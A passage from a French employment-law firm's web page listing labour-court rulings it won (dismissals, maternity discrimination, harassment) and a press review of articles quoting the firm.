sérieuse (jugement du Conseil de Prud’hommes de Nanterre, 2 avril 2010) Licenciement économique : condamnation d’une entreprise industrielle pour licenciement sans cause réelle et sérieuse et requalification de CDD en CDI (arrêt de la Cour d’Appel de Versailles, 7 avril 2011) Congé maternité : condamnation d’un grand fabricant de luxe pour licenciement nul d’une salariée au retour de son congé maternité (jugement du Conseil de Prud’hommes de Paris, 6 mai 2010) Licenciement pour inaptitude : condamnation d’une entreprise industrielle pour absence de reclassement d’un salarié inapte (arrêt de la Cour d’appel de Paris, 25 février 2010) Licenciement pour faute grave : condamnation d’une SSII pour licenciement sans cause réelle et sérieuse (jugement du Conseil de Prud’hommes de Boulogne, 11 mars 2010) Licenciement abusif : condamnation d’une société de production audiovisuelle à des dommages et intérêts pour délivrance tardive de l’attestation ASSEDIC au salarié (arrêt de la Cour d’appel de Paris, 18 décembre 2008) Accident du travail et harcèlement moral : condamnation d’une entreprise de grande distribution à indemniser son salarié pour manquement l’obligation de sécurité dans le cadre d’un accident du travail et harcèlement moral (arrêt de la Cour d’appel de Paris, 30 janvier 2018) Résiliation judiciaire : résiliation judiciaire du contrat de travail aux torts de l’employeur pour non-respect des préconisations du médecin du travail (arrêt de la Cour d’appel de Paris, 7 octobre 2015) Cadre – durée du travail – heures supplémentaires : inopposabilité de la clause de forfait-jours d’un cadre en raison de l’absence d’organisation d’entretien portant sur la charge de travail ; condamnation de l’entreprise à verser les heures supplémentaires majorées et une indemnité pour violation de la législation sur le temps de travail (arrêt Cour d’appel de Versailles, 8 septembre 2022) Souffrance au travail : résiliation du contrat de travail aux torts de l’employeur pour violation de son obligation de sécurité (jugement du Conseil de Prud’hommes de Cergy-Pontoise, 16 septembre 2014) Délit d’entrave : relaxe d’un DRH poursuivie par le Comité d’entreprise pour délit d’entrave aux institutions représentatives du personnel (jugement du Tribunal correctionnel de Paris, 4 juillet 2012) Délit d’entrave : condamnation d’un directeur des ressources humaines pour entrave au fonctionnement du comité d’entreprise et versement de dommages et intérêts à un syndicat de salariés (jugement du Tribunal correctionnel de Nanterre, 20 février 2012) Résiliation judiciaire : résiliation judiciaire du contrat de travail aux torts de l’employeur et indemnisation du salarié (jugement du Conseil de Prud’hommes de Boulogne, 6 mai 2011) Élections professionnelles : contestation d’élections de délégués du personnel devant le tribunal d’instance. Comité d’entreprise : injonction à l’employeur d’inscrire des questions à l’ordre du jour (arrêt de la Cour d’appel de Versailles, 27 juillet 2010) Clause de non-concurrence : condamnation d’une grande entreprise au paiement de l’indemnité de non-concurrence (jugement du Conseil de Prud’hommes de Nanterre, 8 juillet 2010) CHSCT : injonction à une SSII de faire diligenter une expertise sur les risques psychosociaux dans l’entreprise (ordonnance du Tribunal de grande instance de Nanterre, 4 février 2011) Avi Bitton Avocats Associés Nous contacter - [Presse et Médias : Droit du travail](https://www.avibitton.com/presse-actu/presse-actu-droit-du-travail/): Accueil 5 Harcèlement moral : quel rôle joue l’arrêt maladie ? Revue de presse en droit du travail Avi Bitton Avocats Associés a obtenu les condamnations suivantes : Harcèlement et Discrimination Rupture conventionnelle et Transaction Licenciement Accident du travail et Maladie professionnelle Prud’hommes « Espionnage en télétravail : votre employeur a-t-il le droit de surveiller les mouvements de votre souris ? », Capital 6 juin 2026 « Does French Law Prohibit Employees of the Same Company from Being in a Relationship? », Le Figaro, 22 septembre 2025 « Affaire Nestlé : et en France, est-il interdit d’avoir une liaison entre collègues ? », Challenges, 4 septembre 2025 « Le droit français interdit-il à des salariés de la même entreprise d’entretenir une relation intime ? », Le Figaro, 2 septembre 2025 « Quand une Kiss Cam fait tomber un PDG : ce que dit l’affaire Astronomer sur la rigueur américaine au travail », Madame Figaro, 22 juillet 2025 « Moët Hennessy sexual harassment case shines light on company’s culture », Financial Times, 10 Juillet 2025 « Humiliations, mise au placard, « c’était intenable » : Sephora accusée de discriminations par deux employées au retour de leur grossesse », Charente libre, 3 décembre 2024 « Suspension de 6 jours d’une salariée pour agression sexuelle : ce scandale qui éclabousse Decathlon », Elle, 2 juillet 2024 « Citya : de nouveaux témoignages accablent le management de l’enseigne de Philippe Briand », L’Informé, 22 mars 2024 « La marque pour enfants Cyrillus condamnée pour discrimination à la grossesse », L’Informé, 15 janvier 2024 « Vous n’avez qu’à démissionner : quand les avocates enceintes ne peuvent pas s’arrêter de travailler » , Journal du Dimanche 6 décembre 2022. « Chez Eiffage, une jeune femme harcelée et licenciée à cause de sa grossesse » , L’informé 21 nov. 2022. « Discrimination post-congé maternité chez EY : les ministre Dupond-Moretti et Schiappa interpellés » , Journal du Dimanche 20 mars 2022 « Discrimination post-grossesse : le cabinet d’affaires Ernst & Young avait déjà été condamné en septembre » , Libération 25 mars 2022 « Avocates enceintes puis licenciées d’EY : « ils ont réussi à me faire culpabiliser d’avoir un enfant » , Libération 15 mars 2022. « L’Oréal mis en cause pour discrimination sexuelle » , Libération, 28 janvier 2019 « Former Allen Overy associate files harassment and discrimination complaint against firm » , The Lawyer, 8 octobre 2019. « Les jeunes avocates, harcelées et sans recours » , Le Monde – Blog Libertés surveillées, 4 mai 2018. « "La sale race" : les plaintes édifiantes d’agents de ménage des Beaux-Arts » , L’Express, 21 mars 2018. « Une vidéo raciste sur Snapchat, une procédure disciplinaire au travail » , L’Express, 26 octobre 2017. « Discrimination : la SNCF condamnée à verser plus de 40 000 euros à un salarié », Le Monde, 30 mai 2017. « A-t-elle été licenciée parce-qu’elle était fille de harki ? », La Montagne, 30 mai 2016. « Préjudice moral », Le Républicain Lorrain, 24 avril 2013. « Le syndicat FO de Florange porte plainte contre Mittal pour peser sur les négociations », L’Usine Nouvelle, 23 avril 2013. « Natixis condamnée pour discrimination raciale envers un de ses cadres – Cabinet Avi Bitton », Le Monde, 27 décembre 2012. « Ecartées pour grossesse : La Halde croule sous les plaintes », Rue 89, 4 mai 2011. « Les plans sociaux déguisés se multiplient dans les entreprises » Le Monde, 1er juillet 2026 « Rupture conventionnelle et transaction » , Le coin du salarié, 10 février 2016. « Les plans sociaux déguisés se multiplient dans les entreprises » Le Monde, 1er juillet 2026 « C'est la période des entretiens annuels, pourquoi cet échange est loin d'être anodin pour un collaborateur », Capital 19 janvier 2026 « Altice : une dirigeante suspendue en France, après l'enquête pour corruption ouverte au Portugal » , Le Figaro, 3 août 2023. « Cadres : licenciement ou rupture conventionnelle ? » , La Tribune, 8 septembre 2022. « Chez Eiffage, une jeune femme harcelée et licenciée à cause de sa grossesse » , L’informé 21 nov. 2022. « SFR offre à sa vendeuse une croisière … puis la licencie pour y avoir fumé le narguilé » , L’informé 23 déc. 2022. « Avocates enceintes puis licenciées d’EY : « ils ont réussi à me faire culpabiliser d’avoir un enfant » , Libération 15 mars 2022. « Peut-on se plaindre de son travail dans sa messagerie interne ? » , RMC 10 juin 2021. « Un ancien salarié licencié d’Amazon fait saisir les comptes du géant du numérique » , Le Figaro 8 janvier 2021. « Un ancien salarié licencié d’Amazon fait saisir les comptes du géant du numérique » , Le Figaro 8 janvier 2021. « Amazon : un « gilet jaune » de Saran, licencié pour faute grave, obtient gain de cause devant les prud’hommes » , France Info, 19 octobre 2020. « Amazon condamné pour avoir viré un salarié Gilet jaune appelant au blocage » , Le Parisien, 20 octobre 2020. « Amazon condamné pour le licenciement d’un salarié ayant soutenu les gilets jaunes » , Libération, 20 octobre 2020. « Des salariés d’Amazon ont-ils été licenciés pour avoir affiché leur soutien aux gilets jaunes ? » , Libération, 20 février 2019. « Recours d’un gilet jaune employé d’Amazon licencié pour avoir appelé au blocage de l’entreprise » , Europe 1, 19 février 2019. « Amazon licencie des salariés ayant affiché leur soutien aux gilets jaunes » , Radio France International, 4 février 2019. « Le CRIPS solde les crispations », Canard enchainé, 7 décembre 2016. « A-t-elle été licenciée parce-qu’elle était fille de harki ? », La Montagne, 30 mai 2016. « Du rififi à l’Institut Curie », L’Express, 21 mai 2015. « Deux ans après son licenciement’, il touche 662 000 euros – Avi Bitton Avocat » (version PDF), Le Parisien, 25 décembre 2014. « Essilor condamné aux prud’hommes – Cabinet Avi Bitton », Le Figaro, 24 décembre 2014. « Cabinets Denton et Salans : fusion ou non ? », Dalloz Actualités, 27 mai 2015. « Dentons hit with 60 000 Euro Damages in French employment case », The Lawyer, 12 mai 2015 « Les auto-entrepreneurs », interview de Me Avi Bitton sur le délit de travail dissimulé, L’écho des lois, La Chaîne Parlementaire – LCP, 13 octobre 2012. « Licenciement : protection du salarié en maladie professionnelle ». « Cadres de plus de 50 ans : quels droits au chômage ? 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